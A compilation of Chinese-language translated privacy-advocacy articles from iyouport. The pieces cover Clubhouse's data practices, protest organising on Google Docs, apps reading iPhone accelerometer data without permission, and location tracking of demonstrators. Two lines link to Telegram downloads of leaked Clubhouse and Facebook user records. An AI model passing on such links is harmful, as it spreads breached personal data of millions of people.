你应该了解的现实监视资本主义的世界

该应用程序的设计和推出说明了硅谷及其风险投资支持者几乎没有吸取任何教训

Clubhouse 是一个小型的但迅速成长的基于音频的、只接受邀请的移动聊天应用程序和社交网络，由 Alpha Exploration Co. 拥有。 该应用程序感觉像是脱口秀和播客的结合，它允许用户在被称为 “房间” 的数字空间中穿梭，听取被称为 “主持人” 的特色发言人及其访客之间的现场对话，并加入感兴趣的 “club”。Clubhouse 房间和俱乐部涵盖了许多主题，从素食时尚到比特币，理论上为每个人都提供了一些东西。

联合创始人 Rohan Seth 和 Paul Davison 在2020年3月推出了该应用程序的iOS的测试版。经过缓慢的开始，下载量在2021年开始飙升，部分原因是COVID-19疫情及其导致的渴望连接的大众，以及一些高调的音频聊天，如1月31日由埃隆·马斯克主持的聊天。据估计，Clubhouse 现在有超过1000万的每周活跃用户，据传在风险投资公司 Andreessen Horowitz 领导的一轮融资中，Alpha Exploration Co. 的估值接近40亿美元。

2月7日《通过 ClubHouse 看到社交网络舆论场有多么容易被操纵》

尽管其估值很高，但 Clubhouse 的创始人和支持者迄今表现出对隐私、安全和可访问性的严重缺乏关注，而且似乎没有从早期平台在内容审核等长期挑战上的失误中吸取任何教训，比过去的平台更早面临这些挑战。正如一位记者所观察到的，“Clubhouse[正在]快速消耗平台的生命周期”。因此，Clubhouse 是一个重要的案例研究，以说明隐私人权捍卫者在面对硅谷不屈不挠的进攻时，数据治理方法的局限性。

很明显，**Clubhouse**的设计并没有考虑到隐私问题。该应用程序最初

推出时都没有隐私政策，它利用“黑暗模式”（操纵性产品设计）和算法发现策略来获取用户的手机联系人，甚至要求用户在邀请朋友到平台之前授予这种权限 —— 当然，这些联系人都没有机会“同意”这种分享，甚至不知道这种数据共享正在发生。该应用程序还广播新用户在平台上的存在，并且没有提供阻止骚扰者或虐待者的方法。音频文件被完全记录下来，但没有加密，而且该应用程序还使用侵入性的跟踪工具，包括**cookies**和像素标签。

关于像素标签及其他所有追踪监视手段，见《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》

在用户和隐私倡导者的推动下，Clubhouse做了一些小的调整；它现在允许用户手动输入电话号码来邀请他们的朋友和联系人。但是，目前并不确定这一变化是否真的能防止 Clubhouse 收集用户的联系人，即使那些联系人并没有选择加入。这些担忧在欧洲尤其成问题，那里的法律规定开发商需要通过设计和默认来保护数据。Clubhouse 的隐私政策只有英文版本，没有参考欧洲法规，也没有提供任何方式让用户行使他们的数据保护权利。

安全专家已经对隐私挑战之外的问题提出了担忧。今年**2**月，斯坦福大学互联网观察站的研究人员证实，**Clubhouse**将音频和其他个人信息以纯文本形式传输到中国的服务器，使中国政府有可能获取这些信息。此后，该应用程序在中国被禁止使用，因为它承载了关于所谓的维吾尔族拘留营和其他有政治争议的话题的对话，这显然很可能使活动家和持不同政见者处于危险之中。最近，一个包含130万 Clubhouse 用户记录的数据库被发布在一个流行的黑客论坛上，包括用户名、个人资料照片、社交媒体ID、账户创建细节、联系人等等，这是在类似的 Facebook 和 LinkedIn 用户数据泄露之后不久发生的。

下载*130*万 *Clubhouse* 用户记录：*https://t.me/iyouport/8180*

下载 *Facebook 5.33*亿用户泄漏数据：https://t.me/iyouport/8153

根据安全专家的说法，“Clubhouse 的SQL数据库在创建用户档案时使用了连续的编号，这使得数据刮取者可以用基本的工具通过一个简单的脚本相对容易地访问”。Clubhouse 首席执行官保罗·戴维森（Paul Davison）强烈反对该应用程序被入侵或被黑客攻击的说法，他说：“所指的数据都是我们应用程序中的公共档案信息，任何人都可以通过该应用程序或我们的API访问这些信息。”戴维森基本上是在为“刮取”辩护—— 从网络上提取公开可用的、无版权的数据的做法。无论在技术上是否属于破坏行为，该事件已经破坏了许多用户的信

任，他们没有合理地预期他们的信息会被以这种方式使用。

这也表明，随着硅谷继续向全世界输出其技术和思考方式，美国和欧洲对数据治理的态度之间的鸿沟越来越大。

如果您错过了《从大规模监控到种族压迫、从拦截上访到广电总局：美国巨头如何壮大了中国的反乌托邦维稳系统》

有争议的初创公司 **Clearview AI** 也采用了这种技术，该公司受到执法部门的欢迎，用于积累其面部识别数据库。尽管它已经收到了 Facebook 和谷歌的终止要求（如果不是因为刮取，它们本身就不会存在，而且在 Facebook 的情况下，刮取的是非公开信息），但 Clearview AI 以第一修正案为由为自己做法辩护。在欧洲，数据治理更关注个人的基本权利，而不是企业的权利，像刮取和重新利用可公开获取的数据这样的技术与《通用数据保护条例》的核心原则相冲突 —— 如目的限制、通知和同意要求、个人反对某些处理方式的权利等等。Clubhouse 已经被法国和德国的数据保护机构调查，因为它违反了数据保护法。

关于 *Clearview AI*，见《只要一张照片，陌生人就可以找到您的一切私密信息》

但是， Clubhouse 对隐私和安全问题的轻描淡写，与它对可访问性的漠视相比，已经相形见绌。在追求排他性的过程中， **Clubhouse** 已经设法排除了大量的人口。这个音频应用程序在设计和部署时，几乎没有为失聪、听力障碍、视力受损、或有某些其他残障用户提供任何便利。竞争对手如 Twitter Spaces，虽然并不完美，但至少允许用户打开字幕和分享文字稿等功能，足以表明音频应用程序的无障碍性是可能的。正如一位专家所说：“这个应用程序的创始人 —— 以及他们在 Andreessen-Horowitz 的风险资本大股东 —— 并没有足够的了解和关心，也没有把无障碍性作为它应有的优先事项。”

将这些挑战作为磨合期问题的借口可能很诱人，这些问题将随着时间的推移得到解决。但这种观点有两个主要问题。

首先，这些问题并不新鲜。自从马克·扎克伯格 (Mark Zuckerberg) 在近二十年前推出仅限常春藤大学使用的 TheFacebook.com 以来，公众对隐私和安全的看法和态度已经发生了重大变化。法律和政策制定者也越来越关注，全世界有130多个国家已经为数字世界引入了现代数据保护和隐私法。然而，就像早期的 Facebook 一样，**Clubhouse** 是建立在精心设计的炒作、人为的稀缺性和排他性以及对错失恐惧症

的组合之上，很少考虑隐私、安全或可访问性。事实上，在该应用程序的测试阶段，Clubhouse 就已经推出了一个影响者计划，这是一个不寻常的举动。换句话说，Clubhouse 是在遵循硅谷的标准游戏规则。

Clubhouse 以这种方式设计和推出，表明硅谷及其风险资本支持者们对真正的 “创新” 是什么样子的了解有多少，或者说，他们有多不关心。

一个真正的创新产品会从前任平台的错误中吸取教训，并将重点放在隐私、安全和可访问性等方面。相反， Clubhouse 是另一个由有特权的白人、富人和身体健全的男性设计的技术的标准例子，而且主要是为他们这样的阶级而设计的。在许多方面，Rohan 和 Davison 在斯坦福大学相遇，他们之间估计有9个失败的应用程序，表现出许多硅谷创始人的天真乐观，他们只看到了科技的好处，并代表了风险投资界持续存在的差异。2020年，所有风险资金中只有2.3%给了女性创始人（低于2019年的2.8%，因为女性受到大流行病的打击更大）。

我们很容易想到，如果政策制定者、开发者和用户都能回到 Facebook 诞生之初，他们会以不同的方式做一些事。但是，正如 Clubhouse 所展示的那样，人们又一次迅速而急切地用自己所谓的隐私、安全和可访问性等核心价值去换取另一个闪亮的玩具。

虽然要求人们不使用 Facebook 或不使用谷歌的产品和服务是一回事，但现在这些平台已经如此深入人们的日常生活，要求人们放弃 Clubhouse 就是另一回事了。在这个时刻，在用户对这些平台有令人信服的需求之前（因为其他人都在那里），在 Clubhouse 变得大到不能再大之前，我们仍然有选择。

这是我们的机会，可以要求更多，要求更好。毕竟，如果 Clubhouse 用户从一开始就没有要求隐私人权和平等，那么监管这些技术的政策制定者又为什么要关心呢？正如作家和普林斯顿大学教授 Ruha Benjamin 所说的那样，“大多数人被迫生活在别人的想象中”。目前，至少在谈到 Clubhouse 时，我们仍有机会重新想象。〇

The $4 Billion App That Doesn’t Value Privacy, Security or AccessibilityThe $4 Billion App That Doesn’t Value Privacy, Security or Accessibility

原文

Google文档如何成为反抗运动的媒介取代了社交媒体 - iyouport

你应该了解的现实

【2020年10月13日存档】安全取决于您的威胁模型和基于需求的权衡

【按】这是一个在美国抗议者中开始流行的玩法。当然，它有点问题，它很可能不够安全。但是这体现了组织动员和社区互助正在摆脱寡头社交媒体媒介的趋势。

摆脱社交媒体意味着摆脱社交媒体情报的监视、以及Trolls等附带麻烦。

但事实上能满足在线协作且相对更安全的工具并不少、包括替代寡头平台的开源社交媒体，您可以在这里看到《安全工具箱补充版：分类工具列表（2）》。

而且活动家还可以建立自己的维基站点来实现协作，方法在这里看到《活动家团队如何建立自己的维基站点？》。

作为活动家和组织者，您也许会首先考虑足够流行的平台做媒介，毕竟让人们去学习如何使用一个新的应用这本身可能是个门槛，会阻碍参与。

所以您需要权衡。

安全是一个与您的实际情况和切实需求直接相关的权衡问题，作为活动家，如果想要获得满意的安全性，您需要首先回答一系列问题，在这里看到《在线组织和互助需要多方面小心以维护所有参与者的安全：这里是基本注意事项》。

下面是MIT的报道。

在乔治·弗洛伊德被杀后的一周内，数十万人加入了美国和全球各地的

抗议活动，要求正义。

但组织这些抗议活动的关键工具之一是一个令人惊讶的工具：它没有加密，不依靠登录社交网络，甚至不是为此目的而设计的。它就是 Google Docs。

抗议活动期间，Google Docs 已经成为一种分享一切的方式，从关于种族主义的书籍清单到给家庭成员和议员的信件模板，再到接受捐赠的基金和资源清单。

在冠状病毒大流行和席卷全国的反警察暴行抗议活动中，任何人都可以查看、任何人都可以匿名编辑的共享 Google Docs 已经成为基层组织的宝贵工具。

这其实不是第一次。事实上，多年来，活动家和组织者们一直在使用文字处理软件，作为比 Facebook 或 Twitter 更有效、更方便的抗议工具。

Google Docs 于2012年10月推出，并迅速流行起来，不仅因为谷歌电子邮件账户已经如此广泛，还因为它允许多个用户同时协作和编辑。微软 Word 终于有了一个真正的对手。

但是，除简单的文字处理外，它一直被用于其他目的。

例如，青少年长期以来一直使用 Google文档作为在枯燥的演讲中交换笔记的一种方式。

最近，在冠状病毒大流行期间，被广泛共享的Google文档以帮助人们应对封锁的压力。

封锁令产生了一系列社区互助资源，从纽约时报开展的活动 Notes from Our Homes to Yours 到虚拟的逃生室、远程喜剧节目，众包和协作的填字游戏、以及针对需要帮助的人的社区购物清单。

直到2016年的大选，虚假信息猖獗，该软件才作为一种政治工具崭露头角。

梅里马克学院传播学助理教授 Melissa Zimdars 利用它创建了一份长达34页的文件，标题为“虚假的、误导性的、点击率高的和/或讽刺性的 新闻来源”。

Zimdars 的创作激发了一系列政治性的 Google Docs，由学者们编

写，曾经被作为2018年中期选举民主党人竞选的临时方式。等到选举过后，Google Docs 又被用来抗议移民禁令、推进 #MeToo 运动。

直到今年，在乔治-弗洛伊德被谋杀后，反抗社区开始使用该软件进行组织。

其间最受欢迎的 Google Docs 之一是 “Resources for Accountability and Actions for Black Lives”，它的特点是人们可以采取明确的步骤来支持遭受警察暴力的受害者。它是由乔治亚州立大学28岁的新闻学研究生 Carlisa Johnson 组织的。

Johnson 在乔治·弗洛伊德死亡后立即创建了这个谷歌文档，但她自 Ahmaud Arbery 死亡以来一直在编纂资源。Ahmaud Arbery 在2月份被一对父子谋杀，而直到5月份谋杀事件的视频被发布才导致逮捕。

“自2014年以来，我一直在做这件事 [分享直接行动的链接]，通常是给自己的朋友和家人网络，” Johnson 说。

此前她从未创建过这样的公开谷歌文档，之所以选择谷歌文档而不是 Facebook 和 Twitter，是因为它非常容易访问。

“超链接是最简洁、最快速的访问方式，而你在 Facebook 或 Twitter 上是做不到的。当你告诉人们 ‘联系你的议员’ 时，很多人都不知道该怎么做。” 她说，谷歌文档中的直接链接让人们更容易参与其中。

乔治·弗洛伊德被杀后出现的另一个非常流行的谷歌文档，列出了抗议者和接受捐款的组织的资源，是由一位名为 Indigo 的活动家创建的，他使用的是假名，以免被识别身份。

Indigo 表示，与社交媒体相比，无障碍和实时编辑是 Google Doc 的主要优势。“对我来说，重要的是，当地的人可以访问这些材料，特别是那些寻求法律顾问、被监禁的和寻求保释支援的人。我的组织中每个人都在使用它，其他许多人也都在使用。”

和 Johnson 一样，Indigo 在弗洛伊德被害后也一直在收集资源 —— “构建了大量书签和通过电子邮件发送的大量链接” —— 最终发现信息太多了 “我就是跟不上。好像别人也跟不上”。Indigo 对 Twitter 感到很沮丧，他说：“万一你发现了什么现象级的东西，你必须在那一刻马上转发、点赞或分享，否则它就会永远消失。” 而 Google Docs 就是解决方案。

- 不要错过《如何在Google表格中保存任何你想要的推文？调查者和分析师的工具》

纽约大学教育科技副教务长 Clay Shirky 说："Google Doc相对于新闻源的特别之处在于它的持久性和可编辑性"。2008年，Shirky 写了《Here Comes Everybody: The Power of Organizing Without Organizations》，详细介绍了互联网和社交媒体是如何帮助塑造现代抗议运动的。

Shirky 说，虽然社交媒体对宣传运动很有帮助，但在创建人们可以返回的稳定信息库方面的效率却明显不足。他说，Google Docs 之所以特别吸引人，是因为它们既是动态的，又是静态的。它们是可编辑的，可以在无数个屏幕上同时查看，并且也很容易通过推特或帖子分享。

Shirky 说，"如果你在一个面向行动的网络中，你需要一个媒介来协调那些对话和你使用的平台之外的人，这样你就可以真正绕开算法提供的feed去做一些事。"

Johnson 亲身经历了这一点。几天之内，她的 Google Doc 就被著名演员 Cole Sprouse 的 Instagram 故事引用、并被女演员 Halle Berry 的 Twitter 广播，浏览量倍增。

Google Docs 相当直接的访问和简单的使用是有帮助的。但与 Twitter 或 Facebook 相比，用户彼此间的匿名性可能是一个优势。

点击可公开分享链接的用户会被分配一个动物头像，彼此间隐藏身份。"在 Google Docs 上，没有人能轰你，" Shirky 说，"对于那些不希望在数百万人面前陷入高风险政治争论的人来说，Google Docs 允许更广泛的参与。"

Google Docs 并不是活动人士使用的唯一工具。Carrd 是一个建立单页网站的平台，像这样的抗议页面也已经急剧增加。

Carrd 的创始人 AJ (他只用自己的名字缩写) 说，虽然他没有想到这个网站会在抗议者群体中如此受欢迎，但这是有道理的。

那么优点是什么？"[它是]免费的，升级费用相对便宜，速度快，你可以轻松地建立一个网站，事实上，你可以或多或少地在移动设备上完成这一切，" 他说。

对于 Johnson 和 Indigo 来说，创建 Google Docs 的整体体验出乎意

料地积极；Indigo 偶尔也会收到 “讨厌的DM”，但都很容易推脱掉。在任何时刻，Johnson 和 Indigo 的文档中都有至少70～90人，两人都会花大量时间编辑和核对事实。

但是，虽然 Google Docs 易于使用和分享，但它的私密性如何？

抗议者已经采取将手机置于飞机模式的方法，这样他们的数据和位置就无法被追踪，同时也掩盖了身份特征。提供端到端加密的信息传递应用 Signal 是过去几周下载量最大的应用之一。而在可公开查看的文件中包含敏感信息，无疑会让人感觉很危险。

“这当然是个问题”， Johnson 说。当她第一次创建文件时，她将自己标记为 “C. Johnson”，以避免被识别。

但当她意识到自己作为一名黑人女性要发挥强大的作用时，她拼出了自己的全名。

她说：”其他人都能够冒这么大的风险参加抗议活动，这里面涉及到责任。”

她还说，他们中大多数人关注的是行动主义，而不是隐私。Indigo 也同意这种想法。“骇客的威胁是真实存在的，尤其是谷歌是免费的，而且没有任何加密。我已经建立了备份文件，并采取了所有能采取的预防措施。”

她说，“Google Docs 让我可以把所有信息放在一个地方，并跨社交媒体平台传播，目前最重要的是覆盖面。一个 Facebook 的帖子只能走这么远，一个 Instagram 帖子也只能走这么远。但谷歌文档可以覆盖范围更大，而且有更多的即时性。” ○

How Google Docs became the social media of the resistance

原文

iPhone 应用程序会通过加速度计泄漏关于您的哪些信息？ - iyouport

你应该了解的现实监视资本主义的世界

它并不需要您给予的权限。您甚至都不会知道它已经被拿走了。

几乎每一个现代智能手机都配备了加速度计，顾名思义，这是一个测量加速度的传感器。它最常用于检测设备的方向。但它还有许多其他用途，无论是作为赛车游戏中的游戏控制器，还是作为计算日常步数的计步器，或者像 Apple Watch 中看到的那样，用于检测跌倒。也有一些研究是为了开发新的加速度计应用：估计心率、呼吸率，甚至作为仅使用加速度计的基本音频监听器。目前，**iOS**允许任何已安装的应用程序在没有用户明确许可的情况下访问加速度计数据。好奇的应用程序可能会在用户不知情或未允许的情况下，通过加速度计了解用户的许多私密信息。

看一个视频：

iOS中的加速器

「图」

iPhone 配备了精确的加速度计和陀螺仪，它可以高精度地测量您的 iPhone 的高度、旋转率和加速度。

史蒂夫·乔布斯在介绍 iPhone 4 时展示了这两个传感器的功能。

加速度计和陀螺仪在iOS中被捆绑在一起，是核心运动框架的一部分。为了简洁起见，下面将只说加速度计来指代这两个传感器。

加速度计有大量的应用，许多应用都依赖它。大多数用户不会意识到自己最喜欢的应用程序在使用加速度计，这只是因为应用程序不需要权限就可以读取加速度计数据。与访问位置服务和蓝牙不同，对加速

度计的访问被自动授予 iPhone 上的所有应用程序。因此，应用程序可以不受任何限制地从加速度计上读取测量数据。应用程序只能在前台活动时读取加速度计，iOS防止在后台运行的应用程序读取测量值。

访问受系统权限保护的资源的应用程序必须说明他们为什么需要这样的访问。开发者必须用简单的描述来表述原因，以便让用户了解。当应用程序向用户请求权限时，iOS会在权限对话中显示描述。没有为他们需要的每个权限提供这种信息的应用程序将不会被苹果的应用程序审查团队批准。但是，由于对加速度计的访问不受系统权限的保护，开发者不需要告知用户他们需要访问的原因。Telegram 描述了为什么它需要访问相机

乍一看，加速度计数据似乎是无害的。它只是关于移动和旋转手机，对吗？这能侵犯您的隐私吗？…… 其实不然。您真的不应该小看它。

可能出现的情况

「图」

当您拿着手机时，加速度计的测量值一直在被收集。iOS让在前台活动的应用程序可以访问这些测量值。应用程序可以选择忽略这些测量值或读取它们。应用程序对测量结果的处理是没有界限的，但这里有一些诡异的情况。

1、运动和活动

「图」

加速度计数据反映了您如何持有您的手机和您如何移动。一个应用程序可以知道您是否在躺着、坐着、走路或骑自行车时使用手机。该应用程序还可以计算您的步数。尽管对 iPhone 上的计步器的访问受到系统权限的保护，但是有许多复杂的算法处理加速度计数据，正是为了达到这个目的。

值得一提的是，iPhone 还配备了一个气压计，一个测量气压和海拔的传感器。气压计也是核心运动框架的一部分，访问它不需要任何许可。因此，任何应用程序都可以计算出您的海拔高度，并测量您所处环境中的空气压力。因此，任何应用程序都可以在使用时知道您是否在乘坐公共汽车、火车或飞机。

2、心率

「图」

加速度计可以检测到您的手和身体在持有手机时的轻微运动。研究人员可以使用这些数据来估计您的心率。因此，一个应用程序有可能在您使用它时知道您的心率。

3、呼吸率

「图」

与心率类似，研究人员可以使用加速度计数据来估计您的呼吸频率，甚至诊断某些疾病。

4、精确的位置

「图」

加速度计数据本身不包含任何位置信息，但是，它可以用来根据环境中的振动模式来推断您的确切位置。

为了说明这一概念，请考虑以下例子。

您乘坐公交车上下班。当坐在公交车上时，您打开了您最喜欢的社交应用程序。尽管这是您最喜欢的应用程序，但您并不信任它，不愿意与它分享您的位置。在下一站，一位乘客上了公交车。该乘客坐在公交车上，打开了同一个社交应用程序。但该乘客与该应用分享了自己的精确位置。现在，如果这个社交应用程序正在读取您的手机以及那位乘客的手机上的加速度计数据，该应用程序就可以很容易地找出两部手机都经历了相同的振动模式。事实上，两部手机都会记录相同的振动，例如，当公交车启动、停止和向左或向右转时。该应用程序现在知道您和那位乘客一起在同一个环境中，因此是同一个位置。如果您收到该应用程序的推荐，建议把那位乘客加为“好友”，请不要感到惊讶。

5、记录音频

「图」

手机扬声器产生的声波会导致手机振动。由于每个声音都会产生独特的振动，研究人员就能够分析这些振动，并通过倒推的方式来重建原始声音。

因此，如果您正在打电话并使用了手机扬声器，一个应用程序就可以拾取由扬声器产生并由加速度计记录的振动。这样，该应用程序就可以在不接触麦克风的情况下记录通话内容，尽管只有电话中对方的声音会被记录下来。

有什么例子吗？

「图」

我测试了几个应用程序，检查它们是否在没有明确原因的情况下读取加速度计数据。下面是一些例子。

1、Facebook

「图」

Facebook 一直在读取加速度计。如果您在浏览该应用程序时检测到设备的震动，Facebook 实际上会显示一个支持提示。这可能是 Facebook 读取加速度计数据的一个原因。该提示有一个选项可以关闭它，然而，关闭它并不能阻止该应用程序继续读取加速度计数据。

2、Instagram

「图」

Instagram 只在DM中读取加速度计，并且只要用户在DM视图中就会一直读取。

3、WhatsApp

「图」

WhatsApp 使用加速度计来为聊天壁纸添加运动效果。默认情况下它是启用的，但您可以在设置中关闭这个效果。当效果关闭时，应用程序会停止读取加速度计。这里提到 WhatsApp 是因为它属于 Facebook。

4、其他应用程序

「图」

以下应用程序没有显示任何读取加速度计的迹象，没有明确的原因：Facebook Messenger, Signal, Slack, Telegram, TikTok, Threema, Twitter 和 WeChat。

下一节将解释如何找出读取加速度计的应用程序。

一点点技术

「图」

如前所述，对于用户来说，要知道一个应用程序是否正在读取加速度计是有点困难的，但对于开发者来说却不是。我使用了之前在剪贴板研究中使用的同样的方法。Xcode 提供了一个选项来查看 iPhone 的系统日志。

要做到这一点，您需要将 iPhone 连接到 Xcode 并打开 iPhone 的控制台。控制台显示大量的日志信息。为了减少噪音，在搜索栏中输入“加速度计”。现在您将只看到读取加速度计的进程，或应用程序。下面的截图显示了 Instagram 读取加速度计时的日志信息。Instagram 在读取加速度计时的日志消息

该视频说明了实际过程：

那么浏览器呢？

「图」

浏览器也可以在没有许可的情况下访问加速度计数据，就像其他iOS应用程序一样。您可能会问：浏览器会将加速度计数据转发给您访问的网站吗？

在iOS 13中，苹果在 Safari 中引入了一个权限。当网站要求提供加速度计数据时，会向用户展示一个对话框。这一变化是由一项研究引发的，该研究显示许多流行的网站包括读取加速度计数据的脚本。由于所有iOS浏览器都被强制使用 WebKit，因此无论您使用的是哪种浏览器，无论是 Safari、Firefox 还是 Google Chrome，该权限都能保护对加速度计的访问。

而这里要向安卓用户说明的是：这也适用于安卓上的谷歌浏览器。安卓上的谷歌浏览器默认与您访问的每个网站共享运动传感器的数据。运动传感器实际上指的是加速计、陀螺仪和气压计传感器。好消息是您可以改变这一默认行为。虽然有很多理由应该建议您放弃谷歌浏览器并切换到其他隐私型浏览器，但这个加速度计问题不是其中之一。

因此，如果谷歌浏览器是您在安卓手机上的首选浏览器，而且您对与您访问的网站共享运动传感器感到不舒服，这里是您禁用它的方法：

以下网站允许您测试浏览器如何处理加速度计的访问。

对于安卓系统，打开这个链接，检查手机访问的网站是否跟踪您的动作：https://intel.github.io/generic-sensor-demos/orientation-phone/

对于iOS，打开这个链接，点击左上角的按钮：

https://accelerometerdemo.netlify.app

进一步阅读：

- Jacob Leon Kröger, Philip Raschke, and Towhidur Rahman Bhuiyan. 2019. Privacy implications of accelerometer data: a review of possible inferences
- S Abhishek Anand and Chen Wang and Jian Liu and Nitesh Saxena and Yingying Chen.2020. Motion Sensor-based Privacy Attack on Smartphones
- S Abhishek Anand, Chen Wang, Jian Liu, Nitesh Saxena, and Yingying Chen.2021. Spearphone: a lightweight speech privacy exploit via accelerometer-sensed reverberations from smartphone loudspeakers.

iPhone Apps Can Tell Many Things About You Through the Accelerometer

原文

LR 你的手机如何背叛了民主？ - iyouport

你应该了解的现实你我的灾难现实

【2020年5月28日存档】2014年（6年前），我的一位朋友在辩论中就这样怒吼：“民主都快死了！你们变革能变成什么？我们需要先抓住重点！” 当时没有人能听懂他说的是什么意思。直到最近两年，一些人开始醒悟。当然，他所指的远非这篇文章主题所强调的内容，这里只是 **一个侧面……**

人们不是不希望保护自己，而是感觉那些 *真正* 能起到保护作用的方法 “根本不现实”。比如，最基本的保护性措施就是：扔掉你的智能手机。

真话说出来就是这样。而漂亮的假话可以说一大堆。

但是人们依旧想要知道 “如何更改一些设置以缓解灾难”。没错，方法的确有，但是，可能无法解决根本性问题。

就如 deleteFacebook 运动中很多人寻求的依旧是如何调整隐私设置，而不是如何彻底删除它。

我们已经被绑架了，还患上了斯德哥尔摩综合征，甚至不愿逃离。结果是什么？毁掉民主的就是每个人口袋里的东西。

夜幕降临时，香港的街道几乎到处都是灯光，成千上万的手机被人们举起在头顶摇曳。每一个闪烁都是出席的标志，也是对自由的恳求。

一些抗议者戴着面具以阻止被政府的面部识别监视摄像头网络捕获。

但是，除了明亮的灯光外，每部手机还在黑暗中发出另一个信标 ——人眼看不见的信标。

有时每分钟多次捕获和收集此信号，不是通过无人机、而是通过智能手机应用程序。在抗议者关掉相机灯、回到家中并脱下口罩之后很

久，这些信号一直在广播。

在美国乃至世界各地，几乎所有国家都会追踪任何将智能手机带到公开示威活动中的示威者，并将目标人在行动中的身影记录在商业数据集中。同时，各政党一直在收集和购买电话位置数据以进行针对性的选民说服。

- 《指南：当您准备参加抗议活动...》
- 《选举运动的数字化斗争: 2020 Presidential Race》

哥伦比亚大学新闻学教授，60年代著名的激进主义者 “学生争取民主社会” 组织主席 Todd Gitlin 说：“毫无疑问，这是险恶的。”

“这将有效地压制那些宪法声称保护的自由表达。如果人们知道自己会被跟踪，那么肯定会让他们退却。”

Times Opinion 获得了来自超过1200万美国人的电话中的超过**500**亿个位置的大量数据，这有助于说明这种全面监控给公民建立和参与健康民主的权利带来的巨大风险。

⚠无需任何特殊培训，在几分钟之内，只需进行少量的Google搜索，就可以在各个海岸的大型和小型公共示威活动中找出并识别出任何人。

⚠ 通过跟踪特定的设备，我们跟踪了从2017年 Women’s March 大型游行中返回家的所有示威者；并且在2017年就职日 Black Bloc 抗议活动中识别出了任何参与的个人。

示威者的匿名性长期以来一直是一个有争议的问题。各国政府普遍不喜欢这个主意，他们声称担心蒙面抗议者更有可能煽动骚乱。

☞ 包括纽约州和佐治亚州在内的多个州都制定了禁止在公共示威活动中戴口罩的法律。

☞ 包括加拿大和西班牙在内的国家/地区都制定了限制或禁止在所谓的非法聚会中戴口罩的规则。

但是，你必须知道，在智能手机时代 —— 无论是否蒙面 —— 已经没有人能够迷失在茫茫人海中了。

⚠请注意以下噩梦：

- 政府使用位置数据识别重大抗议活动中的政治敌人；
- 检察官或警察使用位置信息以威吓刑事被告进行认罪交易；
- 广告定位技术公司的流氓员工与出于政治动机的团体共享原始数据；
- 大型捐赠者购买了监视定位公司，以帮助增强其政党的政治定位能力，并利用这些信息来压制抗议者；
- 白人至上主义者组织入侵了一家小型企业的不安全服务器，并了解了潜在攻击目标的家乡地址 ……
- 《空中监视如何追踪抗议者？》

香港中文大学的活动家，研究员兼教授 Lokman Tsui 告诉我们，出售此数据的第三方是一个问题，因为 “购买此信息的标准非常宽松，公司没有道德审查委员会。我所在的大学就可以购买数据，而且很容易获得。他们可以购买的数据种类让我大为惊讶，“哦，哇，你居然能买到那种东西？”令人毛骨悚然的数据。”

⚠ 这些数据甚至都不需要泄漏或转手 —— 它的存在本身就已经给民主参与带来令人生畏的影响。

- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》

话语已经在更专业的抗议者圈子中流传开来 —— 将手机留在家中、将其切换为飞行模式、或仅将其关闭电源（关闭电源没用，除非能把电池抠出来）。

许多反法西斯抗议者参加的集会都以掩面为基础，以保护自己的身份免受仇恨团体、警察和新闻界的袭击。

“ 我们告诉人们不要将您的手机带到抗议活动中，或者如果您这样做了，请至少保持GPS处于关闭状态……”

“然而，要知道，您自己越安全，组织起来的能力就越差，” 反法西斯抗议研究员说。

活动家 Joshua Wong 曾协助推动香港2014年雨伞运动，现在是香港持续抗议活动的关键人物。他说，无所不在的追踪从根本上改变了香港的民主抗议活动。

他说：“过去，人们觉得，如果自己不是激进主义者或知名人物，就不会受到监视，因为他们没有什么可隐藏的。但是，他们最近才意识

到，随着抗议活动越来越多，监视对所有人构成了严重的威胁，即使他们不引人注目，政府也将其作为攻击目标。”

即使是公开身份参加抗议活动的人，也会对自己的运动被归类到可购买、可出售、可合并、可被黑客入侵的数据库中，而感到不安。

“我个人很高兴向特朗普提出抗议，并让人们知道这一点。但是有很多人说，国家间谍可以仅凭行程模式就可以确定你的身份。老实说，这很可怕”，住在马里兰州 的 Eric Hensal 说，他出现在2016年华盛顿特朗普酒店外示威游行被监控的数据集中。

- 推荐长读报告《上帝之眼：一个没有秘密的世界意味着什么？》

粒度监视仍然是新事物。但是一些专家认为，围绕追踪公民这一问题进行辩论的窗口可能正在关闭。

香港中文大学的 Tsui 辩称，目前中国、美国和欧盟对互联网的构想存在三种不同模式之间的竞争。

- 《在三岔口：中国、欧洲和美国提供着完全不同的“互联网未来”》

中国正在迅速采取行动，打破包括公民权利在内的一切；以隐私为重点的欧盟正在围绕监视和同意提出道德上的观点。

- 《阿姆斯特丹领导对监视资本主义的斗争》

而美国及其强大的科技公司陷入了困境，一面被抨击道德问题，同时又由于深陷高堡奇人的无意义竞争而担心被中国抛在后面。

- 《人工智能新冷战—— AI和5G如何变成一场噩梦》
- 《华为之战的虚伪：技术的巴尔干化》
- 《中国的反乌托邦监视国家是美国制造的》

Tsui 说，如果中国向前推进，通过技术消灭人权，美国无疑会紧随其后，那么美国人会发现，使用监视、大数据和人工智能来操纵和改变行为的手段及其直接结果的趋势会直线上升。

- 监视不是仅仅为了监视，而是为了操纵《心理操纵的秘密：”行为经济学”＋**PR**＝？》

☞位置数据已经成为2020年大选竞争的一部分。共和党人和民主党人的政治行动委员会已经在选址数据上进行了大笔的投资，以便根据选民的兴趣来定向操纵。

他们正在招募数据经纪人，以帮助监视那些去教堂的人的动向，以寻找倾向于保守派的选民，并操纵其投票。

- 《投票可能正是民主的问题》

在2017年发布的公司文件中，德克萨斯州的一家科技公司 Phunware 将这场竞赛的目的描述为收集针对选民的位置数据，就如 “淘金热”，“只要前几场政治运动意识到以移动广告为定位目标对选民的影响价值，闸门就会打开。哪些运动会先到达那里并发家致富？”

据报道，该公司与特朗普竞选经理 Brad Parscale 成立的 “美国制造媒体顾问公司”（American Made Media Consultants）签署了一项协议，以提供位置数据收集服务。

Phunware 吹捧选民的智能手机为“最终选民档案”。他们的行销声称，移动数据可以显示目标人的设备 “是使用什么操作系统（**iOS**或 **Android**）以及还安装哪些其他应用程序、设备加入了哪些 **Wi-Fi** 网络 **……** 等等所有信息，甚至更多”。简直如间谍软件一般。

- 《Wi-Fi是如何出卖你的？》

☞ 而且，上述这些甚至还没有包括从中推断出的信息，例如 性别、年龄、生活方式、各种偏好等等。”

当然，这些只是初期。现在发生的许多政治操纵看起来与在适当的时候投放标准的政治广告没有什么不同。但是，未来可能很快就变得一片漆黑。

